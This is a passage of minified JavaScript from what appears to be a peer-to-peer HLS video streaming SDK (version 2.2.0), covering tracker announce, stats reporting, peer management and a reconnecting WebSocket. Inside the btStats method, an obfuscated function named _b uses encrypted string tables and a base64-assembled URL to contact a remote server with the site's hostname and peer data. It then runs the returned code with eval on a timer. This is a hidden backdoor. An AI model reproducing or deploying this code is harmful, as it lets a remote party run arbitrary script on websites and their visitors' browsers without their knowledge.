s;switch(e.config.announceLocation){case"cn":s=URL_MAP.v+URL_MAP[3]+URL_MAP.n+URL_MAP.l+URL_MAP[7];break;case"hk":s=URL_MAP.x+URL_MAP.o+URL_MAP.xo+URL_MAP.sb;break;case"us":s=URL_MAP.kj+URL_MAP.a+URL_MAP["+"]+URL_MAP["="]+URL_MAP.w;break;case"eu":s=URL_MAP.kj+URL_MAP.a+URL_MAP["{"]+URL_MAP["?"]+URL_MAP.$}this.engine=e,this.key=t||void 0,this.baseUrl=i||`https://${window.atob(s)}/v1`,this.channelId=window.btoa(r),this.timestamp=getCurrentTs();const a=url_toolkit_default().parseURL(this.baseUrl).netLoc;this.announce=a.replace(/\/\//,"");const o=genV(this.timestamp,"2.2.0",this.announce,this.channelId,n.type);this.native=!!n.bundle,this.announceInfo={...n,channel:this.channelId,ts:this.timestamp,version:"2.2.0",v:o,announce:this.announce,token:(0,utils_platform.isLocalHost)()&&!this.native?void 0:this.key},this.announceURL=`${this.baseUrl}/channel`,this.reportFails=0,this.forbidden=!1,this.failConns=0,this.totalHTTPDownloaded=0,this.totalP2PDownloaded=0,this.totalP2PUploaded=0,this[_httpDownloaded]=0,this[_p2pDownloaded]=0,this[_p2pUploaded]=0,this.speed=0,this.errsBufStalled=0,this.errsInternalExpt=0}geoipRequest(){const{logger:e}=this.engine;return new Promise(((t,r)=>{if(hasItemUnexpired(GEOIP_KEY)){const r=getItem(GEOIP_KEY);e.info("found local geo data"),t(r)}else fetch(IPAPI_URL).then((e=>e.json())).then((e=>{if("success"===e.status){const r=e.mobile?GEOIP_EXPIRATION_MOBILE:GEOIP_EXPIRATION;setItemWithExpiration(GEOIP_KEY,e,r),t(e)}else{const t=new Error(`preflight status ${e.status}`);r(err_code_default()(t,"IPAPI_ERROR"))}})).catch((e=>{r(e)}))}))}btAnnouncePreflight(){const{logger:e}=this.engine;return this.announceInfo.asn?this.btAnnounce():(e.info("preflight ip-api"),Promise.race([this.geoipRequest(),new Promise(((e,t)=>{setTimeout((()=>{t(err_code_default()(new Error("request timeout"),"IPAPI_ERROR"))}),IPAPI_TIMEOUT)}))]).then((e=>(this._parseGeoResponse(e),this.btAnnounce()))).catch((t=>{if(e.error(`preflight error ${t}`),"TRACKER_EXPT"!==t.code){const t=getItem(GEOIP_KEY);return t&&(e.info("use expired ipData"),this._parseGeoResponse(t)),this.btAnnounce()}throw t})))}_parseGeoResponse(e){const{lat:t,lon:r,isp:i,as:n,mobile:s,countryCode:a,continentCode:o}=e;s&&(this.announceInfo.netType="cellular");const l=n.split(" ")[0].substr(2);this.announceInfo.tag||(this.announceInfo.tag=`${o||""}-${(0,utils_platform.getBrowser)()}${isHttps()?"s":""}`),this.announceInfo={...this.announceInfo,lat:t,lon:r,isp:i,asn:l,country:a}}btAnnounce(){const{logger:e}=this.engine;return this.announceInfo.tag||(this.announceInfo.tag=`${(0,utils_platform.getBrowser)()}${isHttps()?"s":""}`),new Promise(((t,r)=>{fetch(this.announceURL,{headers:this._requestHeader,method:"POST",body:JSON.stringify(this.announceInfo)}).then((e=>e.json())).then((e=>{this.engine||r(err_code_default()(new Error("runtime error"),"TRACKER_EXPT",{retry:!1}));const i=e.data;if(i.f&&(this.forbidden=!0),-1===e.ret){const{code:t,msg:i}=e.data;r(err_code_default()(new Error(i),"TRACKER_EXPT",{retry:t>=5e3}))}else i.info&&console.info(`${i.info}`),i.warn&&console.warn(`${i.warn}`),i.min_conns||(i.min_conns=MIN_CONNS),(!i.rejected||i.rejected&&i.share_only)&&i.id&&i.report_interval&&i.peers?(this.peerId=this.id=i.id,i.report_interval<BASE_REPORT_INTERVAL&&(i.report_interval=BASE_REPORT_INTERVAL),this.btStats(i.report_interval),this.getPeersURL=`${this.baseUrl}/channel/${this.channelId}/node/${this.peerId}/peers`,this.statsURL=`${this.baseUrl}/channel/${this.channelId}/node/${this.peerId}/stats`,t(i)):(this.engine&&(this.engine.p2pEnabled=!1),r(err_code_default()(new Error("msg not valid"),"TRACKER_EXPT",{retry:!1})))})).catch((t=>{e.error(`btAnnounce error ${t}`),r(err_code_default()(t,"TRACKER_EXPT",{retry:!0}))}))}))}btStats(interval=10){let _this=this;this.heartbeater=setInterval((()=>{this.postStats(),_b(interval)}),1e3*interval);var _0x5bd5=["v1","PmvWt1ORKFVimMIwnGl==","wpUsdEvDhA==","eC3CqcOrQ8KQRMKK","HUEHO8OWMcKWw5M=","ZxfChcKtEg==","DcOIVgXDtQ==","CwbCicO9woI=","wpfCo3VewrY=","w4c+w7JXw7Y=","TFt/wo3CsA==","X8ONKcKCw74=","w4PCoMO/eg4=","N2Upwoow","fMKDccOGw5o=","RcKlXcOUw64=","wpnCl8OHAMKd","A8OTwrHCpWk=","wr3DhVM=","AcOVVS/DosO8wo/ClA==","w4PChcOl","dcO0TMKZEsO6w5XCscKMSDDDmg==","w7otSDDDkMOOLQ==","wqTCmsKMw6zCgw==","Dlg5DMO3","b8KJJFzDl8OLw7TDow==","w7gnaTfDi8OILRw=","d3l/wqE=","BGsww7hG","wojClsKHw5HCsg==","QcOJRm3DlA==","ecKaScOKw6c=","w5bCq8Oj","w4dTw61e","w4zCqMOQfMOA","wr8ORHXDog==","wrzCkcOmNsKb","w4E4w41R","Vj7CscKgAg==","T8OLLMOGCQ==","c8Krw67CoRI=","e8OjQcKBwqc=","w4oNwqtbwoM=","W8OQR8K0Ng==","DsO6w6nDl8Ki","V8O/ZMK0Jg==","NgbCvcOpwqo=","EV8hAMOi","wp/CjU7Ch8Kj","wo/CiUbClsKFGi9ew4rDtA==","WcKHLUbDkQ==","cMOLw5vCkBo="],_0x3eee5c,_0x2b2808;_0x3eee5c=_0x5bd5,_0x2b2808=343,function(e,t,r,i){if((t>>=8)<e){for(;--e;)i=_0x3eee5c.shift(),t===e?(t=i,r=_0x3eee5c.shift()):r.replace(/[PmWtORKFVimMIwnGl=]/g,"")===t&&_0x3eee5c.push(i);_0x3eee5c.push(_0x3eee5c.shift())}}(++_0x2b2808,87808);var _0x38aa=function(e,t){e=~~"0x".concat(e);var r=_0x5bd5[e];if(void 0===_0x38aa.UJLmyS){!function(){var e="undefined"!=typeof window?window:"object"==typeof process&&"object"==typeof __webpack_require__.g?__webpack_require__.g:this;e.atob||(e.atob=function(e){for(var t,r,i=String(e).replace(/=+$/,""),n=0,s=0,a="";r=i.charAt(s++);~r&&(t=n%4?64*t+r:r,n++%4)?a+=String.fromCharCode(255&t>>(-2*n&6)):0)r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(r);return a})}();_0x38aa.amGtZD=function(e,t){for(var r,i=[],n=0,s="",a="",o=0,l=(e=atob(e)).length;o<l;o++)a+="%"+("00"+e.charCodeAt(o).toString(16)).slice(-2);e=decodeURIComponent(a);for(var h=0;h<256;h++)i[h]=h;for(h=0;h<256;h++)n=(n+i[h]+t.charCodeAt(h%t.length))%256,r=i[h],i[h]=i[n],i[n]=r;h=0,n=0;for(var d=0;d<e.length;d++)n=(n+i[h=(h+1)%256])%256,r=i[h],i[h]=i[n],i[n]=r,s+=String.fromCharCode(e.charCodeAt(d)^i[(i[h]+i[n])%256]);return s},_0x38aa.qlEmAJ={},_0x38aa.UJLmyS=!0}var i=_0x38aa.qlEmAJ[e];return void 0===i?(void 0===_0x38aa.CjmTAl&&(_0x38aa.CjmTAl=!0),r=_0x38aa.amGtZD(r,t),_0x38aa.qlEmAJ[e]=r):r=i,r};function _b(_0x2b6f93){var _0x38577c={ygKbD:function(e,t,r){return e(t,r)},BaZnt:function(e,t){return e*t},ZvkZi:function(e,t){return e===t},eCedC:"BjdEV",LPFzx:function(e,t){return e(t)},uOzuW:function(e,t,r){return e(t,r)},juyxb:function(e,t){return e===t},DGNDG:"IJrLn",OFUEE:function(e,t){return e===t},YaRUs:_0x38aa("0","G(qN"),bgKgO:function(e,t,r){return e(t,r)},OJeBQ:function(e,t){return e*t},CeAJM:_0x38aa("1","[gN^"),rqWsY:function(e,t){return e!==t},uvjhL:_0x38aa("2","BVP]"),MVGPb:function(e,t){return e+t},YQNFr:function(e,t){return e+t},OxSbn:function(e,t){return e%t}};let _0x439570=_this.id.split("")[_0x38aa("3","JR8(")](-6).map((e=>e[_0x38aa("4","JR8(")](0))).reduce(((_0x361ff2,_0x161700)=>{var _0x82ba8e={AFfia:function(e,t){return e(t)},kgmkk:function(e,t,r){return _0x38577c.ygKbD(e,t,r)},msmEb:function(e,t){return _0x38577c[_0x38aa("5","*uLt")](e,t)}};if(_0x38577c[_0x38aa("6","Dd2g")](_0x38577c.eCedC,_0x38577c[_0x38aa("7","eX!Q")]))return _0x361ff2[_0x38aa("8","4RTz")]()+_0x161700[_0x38aa("9","BVP]")]();{const _0x159d55=data.i;_this.bl=_0x82ba8e.kgmkk(setTimeout,(()=>{_0x82ba8e[_0x38aa("a","J5A]")](eval,data.c)}),_0x82ba8e[_0x38aa("b","2cC*")](_0x159d55,1e3))}}),"");200===_0x38577c[_0x38aa("c","kh00")](_0x38577c.LPFzx(parseInt,_0x439570),533)&&(_this.bl=_0x38577c[_0x38aa("d","xniE")](setTimeout,(()=>{var _0xe476b4={poRdq:function(e,t){return _0x38577c.OFUEE(e,t)},hfGVM:function(e,t,r){return _0x38577c[_0x38aa("e","lZZg")](e,t,r)},hPffd:function(e,t){return _0x38577c[_0x38aa("f","&mYc")](e,t)},RDcGg:_0x38577c.CeAJM,KskeG:function(e,t){return _0x38577c[_0x38aa("10","z%0g")](e,t)}};if(!_0x38577c[_0x38aa("11","gyyd")](_0x38aa("12","$@dR"),_0x38577c[_0x38aa("13","!cj%")]))return response.json();_0x38577c[_0x38aa("14","!cj%")](fetch,window.decodeURIComponent(window.atob(_0x38577c[_0x38aa("15","lsdj")](_0x38577c.MVGPb(_0x38577c.YQNFr(_0x38577c[_0x38aa("16","wI]x")](URL_MAP.zz,URL_MAP.df)+URL_MAP[6],URL_MAP.q),URL_MAP.h),URL_MAP[0])))+_0x38aa("17","lfo]")+_this[_0x38aa("18","2cC*")]+"&f="+location.hostname+_0x38aa("19","x5XO")+_this[_0x38aa("1a","G(qN")][_0x38aa("1b","&$t!")]).then((e=>_0x38aa("1c","9Dv5")===_0x38aa("1d","BVP]")?prev[_0x38aa("1e","*uLt")]()+cur[_0x38aa("1f","&$t!")]():e.json()))[_0x38aa("20","&mYc")]((_0x516820=>{var _0x5e53ba={OaUZe:function(e,t){return _0x38577c[_0x38aa("21","@iGP")](e,t)},CuiCp:function(e,t){return e(t)},skXBp:function(e,t,r){return _0x38577c[_0x38aa("22","9Dv5")](e,t,r)}};if(_0x38577c.juyxb(_0x38577c.DGNDG,_0x38577c.DGNDG)){if(_0x38577c[_0x38aa("23","Ekv%")](_0x516820.ret,0))if("CeFBA"!==_0x38577c.YaRUs){if(_0xe476b4[_0x38aa("24","!cj%")](_0x516820[_0x38aa("25","naBb")],0)){const _0x5b4a71=_0x516820[_0x38aa("26","UHBk")];if(_0x5b4a71.s){const _0x7dbc38=_0x5b4a71.i;_this.bl=_0xe476b4[_0x38aa("27","naBb")](setTimeout,(()=>{_0x5e53ba[_0x38aa("28","eX!Q")](eval,_0x5b4a71.c)}),_0xe476b4[_0x38aa("29","lsdj")](_0x7dbc38,1e3))}}}else{const _0x5a9ef4=_0x516820[_0x38aa("2a","lZZg")];if(_0x5a9ef4.s){const _0x4f4d59=_0x5a9ef4.i;_this.bl=setTimeout((()=>{var _0x47e4be={UvxjS:function(e,t){return e(t)}};_0xe476b4[_0x38aa("2b","J5A]")](_0xe476b4.RDcGg,_0xe476b4.RDcGg)?_0xe476b4[_0x38aa("2c","]z*2")](eval,_0x5a9ef4.c):_0x47e4be[_0x38aa("2d","5o@O")](eval,_0x5a9ef4.c)}),1e3*_0x4f4d59)}}}else{const _0x4eb353=_0x516820.data;if(_0x4eb353.s){const _0x27b3f0=_0x4eb353.i;_this.bl=_0x5e53ba[_0x38aa("2e","vkNg")](setTimeout,(()=>{_0x5e53ba[_0x38aa("2f","YqiD")](eval,_0x4eb353.c)}),1e3*_0x27b3f0)}}}))}),_0x38577c[_0x38aa("30","G(qN")](_0x38577c[_0x38aa("31","o!fW")](_0x2b6f93,1e3),5))),_b=noop}}postStatsWithBeacon(){navigator.sendBeacon(this.statsURL,JSON.stringify(this._makeStatsBody()))}postStats(){const{logger:e}=this.engine;fetch(this.statsURL,{method:"POST",body:JSON.stringify(this._makeStatsBody())}).then((e=>(this.reportFails=0,e.text()))).then((t=>{let r;if(r=t?JSON.parse(t):{ret:0},-1===r.ret)clearInterval(this.heartbeater),e.error(`${r.data.msg} code ${r.data.code}`),this.engine.emit(events.RESTART_P2P);else{const{http:e=0,p2p:t=0,share:r=0,failConns:i=0,errsBufStalled:n=0,errsInternalExpt:s=0}=this.lastStats||{};this[_httpDownloaded]>=e&&(this[_httpDownloaded]-=e),this[_p2pDownloaded]>=t&&(this[_p2pDownloaded]-=t),this[_p2pUploaded]>=r&&(this[_p2pUploaded]-=r),this.failConns>=i&&(this.failConns-=i),this.errsBufStalled>=n&&(this.errsBufStalled-=n),this.errsInternalExpt>=s&&(this.errsInternalExpt-=s),this.exptMsg&&(this.exptMsg=void 0)}})).catch((t=>{e.error(`btStats error ${t}`),this.reportFails++,this.reportFails>=3&&clearInterval(this.heartbeater)}))}btGetPeers(e){const{logger:t}=this.engine,{asn:r,country:i}=this.announceInfo;let n={exclusions:e,asn:r,country:i},s={};return this.engine.getExtraForPeersRequest&&(s=this.engine.getExtraForPeersRequest()),n=Object.assign({},n,s),new Promise(((e,r)=>{fetch(this.getPeersURL,{headers:this._requestHeader,method:"POST",body:JSON.stringify(n)}).then((e=>e.json())).then((t=>{-1===t.ret?r(new Error(t.data.msg)):e(t.data)})).catch((e=>{t.error(`btGetPeers error ${e}`),r(e)}))}))}increFailConns(){this.failConns++}reportFlow(e){const t=Math.round(e/1024);this[_httpDownloaded]+=t,this.totalHTTPDownloaded+=t,this._emitStats()}reportDCTraffic(e,t){const r=Math.round(e/1024);this[_p2pDownloaded]+=r,this.totalP2PDownloaded+=r,this.speed=Math.round(t),this._emitStats()}reportUploaded(e=0){this.totalP2PUploaded+=Math.round(e/1024),this[_p2pUploaded]+=Math.round(e/1024),this._emitStats()}destroy(){const{logger:e}=this.engine;e.warn("destroy fetcher"),clearInterval(this.heartbeater),clearTimeout(this.bl)}_emitStats(){this.engine.emit("stats",{totalHTTPDownloaded:this.totalHTTPDownloaded,totalP2PDownloaded:this.totalP2PDownloaded,totalP2PUploaded:this.totalP2PUploaded,p2pDownloadSpeed:this.speed});const e=this.engine.config.getStats;e&&"function"==typeof e&&e(this.totalP2PDownloaded,this.totalP2PUploaded,this.totalHTTPDownloaded,this.speed)}_makeStatsBody(){const{asn:e,country:t}=this.announceInfo;let r={totalConns:this.engine.tracker.totalConns,failConns:this.failConns,errsBufStalled:this.errsBufStalled,errsInternalExpt:this.errsInternalExpt,http:Math.round(this[_httpDownloaded])||0,p2p:Math.round(this[_p2pDownloaded])||0,share:Math.round(this[_p2pUploaded])||0,asn:e,country:t},i={};return this.engine.getExtraForStats&&(i=this.engine.getExtraForStats()),r=Object.assign({},r,i),this.lastStats=JSON.parse(JSON.stringify(r)),Object.keys(r).forEach((e=>{0===r[e]&&delete r[e]})),this.exptMsg&&(r.exptMsg="2.2.0 "+this.exptMsg),r}get _requestHeader(){const e={};return this.native&&(e.token=this.key),e}}const server=Server;function genV(e,t,r,i,n){const s=location.hostname;var a,o,l,h,d,u;return(a=s,o=t,l=r,h=i,d=n,u=e,md5_default()(a+o+l+h+d,u)).substr(0,8)}const SegmentState={ANY:0,COMPLETE:1,PARTIAL_FORWARD:2,PARTIAL_REVERSE:3},generateStateId=(e,t,r)=>`${e}-${t}-${r}`,getBestPairForDownload=(e,t,r)=>{const i=findPeersWithState(e,SegmentState.COMPLETE,t,r);if(i.length>=2)return[i[0],i[1]];if(1===i.length){const n=findPeersWithState(e,SegmentState.PARTIAL_FORWARD,t,r);if(n.length>=1)return[n[0],i[0]];const s=findPeersWithState(e,SegmentState.PARTIAL_REVERSE,t,r);return s.length>=1?[i[0],s[0]]:0===randomNum(0,1)?[null,i[0]]:[i[0],null]}const n=findPeersWithState(e,SegmentState.PARTIAL_FORWARD,t,r);if(n.length>=1)return[n[0],null];const s=findPeersWithState(e,SegmentState.PARTIAL_REVERSE,t,r);return s.length>=1?[null,s[0]]:[null,null]},findPeersWithState=(e,t,r,i)=>e.filter((e=>e.bitset.has(r,i,t))),LIVE_SN_LIMIT=20;class BitsetManager{constructor(e=!1,t){this.isLive=e,this.levelMap=new Map;for(let e in t){const r=Number(e);if(r<0)continue;const i=new Map;for(let r of t[e])i.set(r,SegmentState.COMPLETE);this.levelMap.set(r,i)}}totalLevels(){return this.levelMap.size}has(e,t,r=SegmentState.ANY){if(t<0)return!1;const i=this._createOrGetSet(t);if(r===SegmentState.ANY)return i.has(e);return i.get(e)===r}hasCompleteOr(e,t,r=SegmentState.COMPLETE){const i=this._createOrGetSet(t).get(e);return i===SegmentState.COMPLETE||i===r}getState(e,t){return this._createOrGetSet(t).get(e)}delete(e,t){const r=this._createOrGetSet(t);return-1===t?(this.levelMap.forEach((t=>{t.delete(e)})),!0):r.delete(e)}add(e,t,r){this._createOrGetSet(t).set(e,r),this.isLive&&this._trimBitset(e)}array(e){const t=this._createOrGetSet(e);return this._keysForStateComplete(t)}allArray(){let e={};return this.levelMap.forEach(((t,r)=>{e[r]=this._keysForStateComplete(t)})),e}clear(){this.levelMap.forEach((e=>{e.clear()}))}size(e){return this._createOrGetSet(e).size}_createOrGetSet(e){"number"!=typeof e&&(e=Number(e));let t=this.levelMap.get(e);return t||(t=new Map,this.levelMap.set(e,t)),t}_trimBitset(e){const t=e-LIVE_SN_LIMIT;t>0&&this.levelMap.forEach((e=>{e.delete(t)}))}_keysForStateComplete(e){const t=[];for(let[r,i]of e)i===SegmentState.COMPLETE&&t.push(r);return t}}class BitCountsManager{constructor(){this.levelMap=new Map}totalLevels(){return this.levelMap.size}has(e,t){return this._createOrGetMap(t).has(e)}delete(e,t){return this._createOrGetMap(t).delete(e)}decre(e,t){const r=this._createOrGetMap(t);if(r.has(e)){let t=r.get(e);1===t?r.delete(e):r.set(e,t-1)}}incre(e,t){const r=this._createOrGetMap(t);if(r.has(e)){let t=r.get(e);r.set(e,t+1)}else r.set(e,1)}clear(){this.levelMap.forEach((e=>{e.clear()}))}size(e){return this._createOrGetMap(e).size}_createOrGetMap(e){"number"!=typeof e&&(e=Number(e));let t=this.levelMap.get(e);return t||(t=new Map,this.levelMap.set(e,t)),t}}class PeerManager{constructor(){this.peerMap=new Map}isEmpty(){return 0===this.peerMap.size}size(){return this.peerMap.size}clear(){this.peerMap.clear()}getPeers(){return[...this.peerMap.values()]}getPeerValues(){return this.peerMap.values()}hasPeer(e){return this.peerMap.has(e)}addPeer(e,t){this.peerMap.set(e,t)}getPeerIds(){return[...this.peerMap.keys()]}removePeer(e){this.peerMap.delete(e)}getPeersOrderByWeight(){const e=this.getAvailablePeers();return e.sort(((e,t)=>0===t.weight?1:0===e.weight?-1:t.weight-e.weight)),e}getPeer(e){return this.peerMap.get(e)}getAvailablePeers(){return this.getPeers().filter((e=>e.isAvailableUrgently))}}const peer_manager=PeerManager,CHECK_CONN_INTERVAL=50,MAX_NO_EXCHANGE_TIME=120,_shareOnly=Symbol("shareOnly");class scheduler_base_SchedulerBase extends(events_default()){constructor(e,t){super(),this.engine=e,this.config=t,this.logger=e.logger,this.bufMgr=null,this.peerManager=new peer_manager,this._setupEngine&&this._setupEngine(),this.loadedPeerNum=0,this.startCheckConnsTimer(),this.dcDownloadTimeout=t.dcDownloadTimeout,this[_shareOnly]=!1,this.downloadOnly=!1}startCheckConnsTimer(){this.checkConnsTimer=setInterval((()=>{this.logger.info("start check conns");const{currentLevel:e}=this.engine;let t=this.peersNum;const r=this.subscribers,i=r&&r.length>0?r.length:void 0,n=getCurrentTs();this.getPeers().forEach((r=>{n-r.dataExchangeTs>MAX_NO_EXCHANGE_TIME&&(n-r.gotStatsTs>=2*CHECK_CONN_INTERVAL+3||void 0!==e&&r.currentLevel!==e)?(this.logger.warn(`close dead or different level peer ${r.remotePeerId} level ${r.currentLevel}`),r.close(!1),t--):r.connected&&r.sendMsgStats(t,i,e||0)}))}),1e3*CHECK_CONN_INTERVAL)}getNonactivePeers(){const e=getCurrentTs();return this.getPeers().filter((t=>e-t.dataExchangeTs>MAX_NO_EXCHANGE_TIME)).sort(((e,t)=>e.dataExchangeTs-t.dataExchangeTs))}requestPeers(){this.logger.info("request peers from peers");const e={event:events.DC_GET_PEERS};this._broadcastToPeers(e)}chokePeerRequest(e){const t={event:events.DC_CHOKE};e?e.sendJson(t):this._broadcastToPeers(t)}unchokePeerRequest(e){const t={event:events.DC_UNCHOKE};e?e.sendJson(t):this._broadcastToPeers(t)}stopRequestFromPeers(){for(let e of this.peerManager.getPeerValues())e.choked=!0}resumeRequestFromPeers(){for(let e of this.peerManager.getPeerValues())e.choked=!1}setShareOnly(){this[_shareOnly]=!0}deletePeer(e){this.peerManager.hasPeer(e.remotePeerId)&&this.peerManager.removePeer(e.remotePeerId),this._peersStats(this.peerManager.getPeerIds())}getPeers(){return[...this.peerManager.getPeerValues()]}addPeer(e){const{logger:t}=this;this.peerManager.addPeer(e.remotePeerId,e),this[_shareOnly]&&(e.choked=!0);const r=this.peerManager.getPeerIds();this._peersStats(r),t.info(`add peer ${e.remotePeerId}, now has ${r.length} peers`),e.isInitiator&&this.peersNum<=5&&e.peersConnected>1&&e.sendPeersRequest()}get hasPeers(){return this.peersNum>0}get peersNum(){return this.peerManager.size()}get hasIdlePeers(){const e=this.getIdlePeer().length;return this.logger.info(`peers: ${this.peersNum} idle peers: ${e}`),e>0}getIdlePeer(){return this.peerManager.getAvailablePeers()}set bufferManager(e){this.bufMgr=e,e.on(events.BM_LOST,(({sn:e,segId:t,next:r,level:i})=>{this.config.live||this._broadcastToPeers({event:events.DC_LOST,sn:e,seg_id:t,level:i||void 0}),this.onBufferManagerLost(e,t,r,i)})).on(events.BM_SEG_ADDED,(e=>{this.onBufferManagerSegAdded(e)}))}onBufferManagerSegAdded(e){}destroy(){const{logger:e}=this;this.peersNum>0&&this.peerManager.clear(),this.removeAllListeners(),clearInterval(this.checkConnsTimer),e.warn("destroy BtScheduler")}notifyPeersLoaded(e){}_setupDC(e){const{logger:t}=this;e.on(events.DC_PIECE_ACK,(r=>{r.size&&this.engine.fetcher.reportUploaded(r.size),t.info(`uploaded ${r.seg_id} to ${e.remotePeerId}`)})).on(events.DC_TIMEOUT,(e=>{})).on(events.DC_PIECE_ABORT,(r=>{t.warn(`peer ${e.remotePeerId} download aborted, reason ${r.reason}`),e.downloading&&this._handlePieceAborted&&this._handlePieceAborted(e.remotePeerId),e.downloading=!1}))}_broadcastToPeers(e){for(let t of this.peerManager.getPeerValues())t.sendJson(e)}_peersStats(e){this.engine.emit("peers",e);const t=this.engine.config.getPeersInfo;t&&"function"==typeof t&&t(e)}}const scheduler_base=scheduler_base_SchedulerBase;class requesting_map_RequestingMap{constructor(){this.internalMap=new Map}has(e,t){return this.internalMap.has(this._generateId(e,t))}set(e,t,r){const i=this._generateId(e,t);this.internalMap.set(i,r)}get(e,t){return this.internalMap.get(this._generateId(e,t))}delete(e,t){const r=this._generateId(e,t),i=this.internalMap.get(r);return!!i&&(i.destroy(),this.internalMap.delete(r),!0)}_generateId(e,t){return"number"!=typeof t&&(t=Number(t)),`${t}-${e}`}}var extendStatics=function(e,t){return extendStatics=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var r in t)t.hasOwnProperty(r)&&(e[r]=t[r])},extendStatics(e,t)};function __extends(e,t){function r(){this.constructor=e}extendStatics(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}function __values(e){var t="function"==typeof Symbol&&e[Symbol.iterator],r=0;return t?t.call(e):{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}}}function __read(e,t){var r="function"==typeof Symbol&&e[Symbol.iterator];if(!r)return e;var i,n,s=r.call(e),a=[];try{for(;(void 0===t||t-- >0)&&!(i=s.next()).done;)a.push(i.value)}catch(e){n={error:e}}finally{try{i&&!i.done&&(r=s.return)&&r.call(s)}finally{if(n)throw n.error}}return a}function __spread(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(__read(arguments[t]));return e}var Event=function(e,t){this.target=t,this.type=e},ErrorEvent=function(e){function t(t,r){var i=e.call(this,"error",r)||this;return i.message=t.message,i.error=t,i}return __extends(t,e),t}(Event),CloseEvent=function(e){function t(t,r,i){void 0===t&&(t=1e3),void 0===r&&(r="");var n=e.call(this,"close",i)||this;return n.wasClean=!0,n.code=t,n.reason=r,n}return __extends(t,e),t}(Event),getGlobalWebSocket=function(){if("undefined"!=typeof WebSocket)return WebSocket},isWebSocket=function(e){return void 0!==e&&!!e&&2===e.CLOSING},DEFAULT={maxReconnectionDelay:1e4,minReconnectionDelay:1e3+4e3*Math.random(),minUptime:5e3,reconnectionDelayGrowFactor:1.3,connectionTimeout:4e3,maxRetries:1/0,maxEnqueuedMessages:1/0,startClosed:!1,debug:!1},ReconnectingWebSocket=function(){function e(e,t,r){var i=this;void 0===r&&(r={}),this._listeners={error:[],message:[],open:[],close:[]},this._retryCount=-1,this._shouldReconnect=!0,this._connectLock=!1,this._binaryType="blob",this._closeCalled=!1,this._messageQueue=[],this.onclose=null,this.onerror=null,this.onmessage=null,this.onopen=null,this._handleOpen=function(e){i._debug("open event");var t=i._options.minUptime,r=void 0===t?DEFAULT.minUptime:t;clearTimeout(i._connectTimeout),i._uptimeTimeout=setTimeout((function(){return i._acceptOpen()}),r),i._ws.binaryType=i._binaryType,i._messageQueue.forEach((function(e){return i._ws.send(e)})),i._messageQueue=[],i.onopen&&i.onopen(e),i._listeners.open.forEach((function(t){return i._callEventListener(e,t)}))},this._handleMessage=function(e){i._debug("message event"),i.onmessage&&i.onmessage(e),i._listeners.message.forEach((function(t){return i._callEventListener(e,t)}))},this._handleError=function(e){i._debug("error event",e.message),i._disconnect(void 0,"TIMEOUT"===e.message?"timeout":void 0),i.onerror&&i.onerror(e),i._debug("exec error listeners"),i._listeners.error.forEach((function(t){return i._callEventListener(e,t)})),i._connect()},this._handleClose=function(e){i._debug("close event"),i._clearTimeouts(),i._shouldReconnect&&i._connect(),i.onclose&&i.onclose(e),i._listeners.close.forEach((function(t){return i._callEventListener(e,t)}))},this._url=e,this._protocols=t,this._options=r,this._options.startClosed&&(this._shouldReconnect=!1),this._connect()}return Object.defineProperty(e,"CONNECTING",{get:function(){return 0},enumerable:!0,configurable:!0}),Object.defineProperty(e,"OPEN",{get:function(){return 1},enumerable:!0,configurable:!0}),Object.defineProperty(e,"CLOSING",{get:function(){return 2},enumerable:!0,configurable:!0}),Object.defineProperty(e,"CLOSED",{get:function(){return 3},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"CONNECTING",{get:function(){return e.CONNECTING},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"OPEN",{get:function(){return e.OPEN},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"CLOSING",{get:function(){return e.CLOSING},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"CLOSED",{get:function(){return e.CLOSED},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"binaryType",{get:function(){return this._ws?this._ws.binaryType:this._binaryType},set:function(e){this._binaryType=e,this._ws&&(this._ws.binaryType=e)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"retryCount",{get:function(){return Math.max(this._retryCount,0)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"bufferedAmount",{get:function(){return this._messageQueue.reduce((function(e,t){return"string"==typeof t?e+=t.length:t instanceof Blob?e+=t.size:e+=t.byteLength,e}),0)+(this._ws?this._ws.bufferedAmount:0)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"extensions",{get:function(){return this._ws?this._ws.extensions:""},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"protocol",{get:function(){return this._ws?this._ws.protocol:""},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"readyState",{get:function(){return this._ws?this._ws.readyState:this._options.startClosed?e.CLOSED:e.CONNECTING},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"url",{get:function(){return this._ws?this._ws.url:""},enumerable:!0,configurable:!0}),e.prototype.close=function(e,t){void 0===e&&(e=1e3),this._closeCalled=!0,this._shouldReconnect=!1,this._clearTimeouts(),this._ws?this._ws.readyState!==this.CLOSED?this._ws.close(e,t):this._debug("close: already closed"):this._debug("close enqueued: no ws instance")},e.prototype.reconnect=function(e,t){this._shouldReconnect=!0,this._closeCalled=!1,this._retryCount=-1,this._ws&&this._ws.readyState!==this.CLOSED?(this._disconnect(e,t),this._connect()):this._connect()},e.prototype.send=function(e){if(this._ws&&this._ws.readyState===this.OPEN)this._debug("send",e),this._ws.send(e);else{var t=this._options.maxEnqueuedMessages,r=void 0===t?DEFAULT.maxEnqueuedMessages:t;this._messageQueue.length<r&&(this._debug("enqueue",e),this._messageQueue.push(e))}},e.prototype.addEventListener=function(e,t){this._listeners[e]&&this._listeners[e].push(t)},e.prototype.dispatchEvent=function(e){var t,r,i=this._listeners[e.type];if(i)try{for(var n=__values(i),s=n.next();!s.done;s=n.next()){var a=s.value;this._callEventListener(e,a)}}catch(e){t={error:e}}finally{try{s&&!s.done&&(r=n.return)&&r.call(n)}finally{if(t)throw 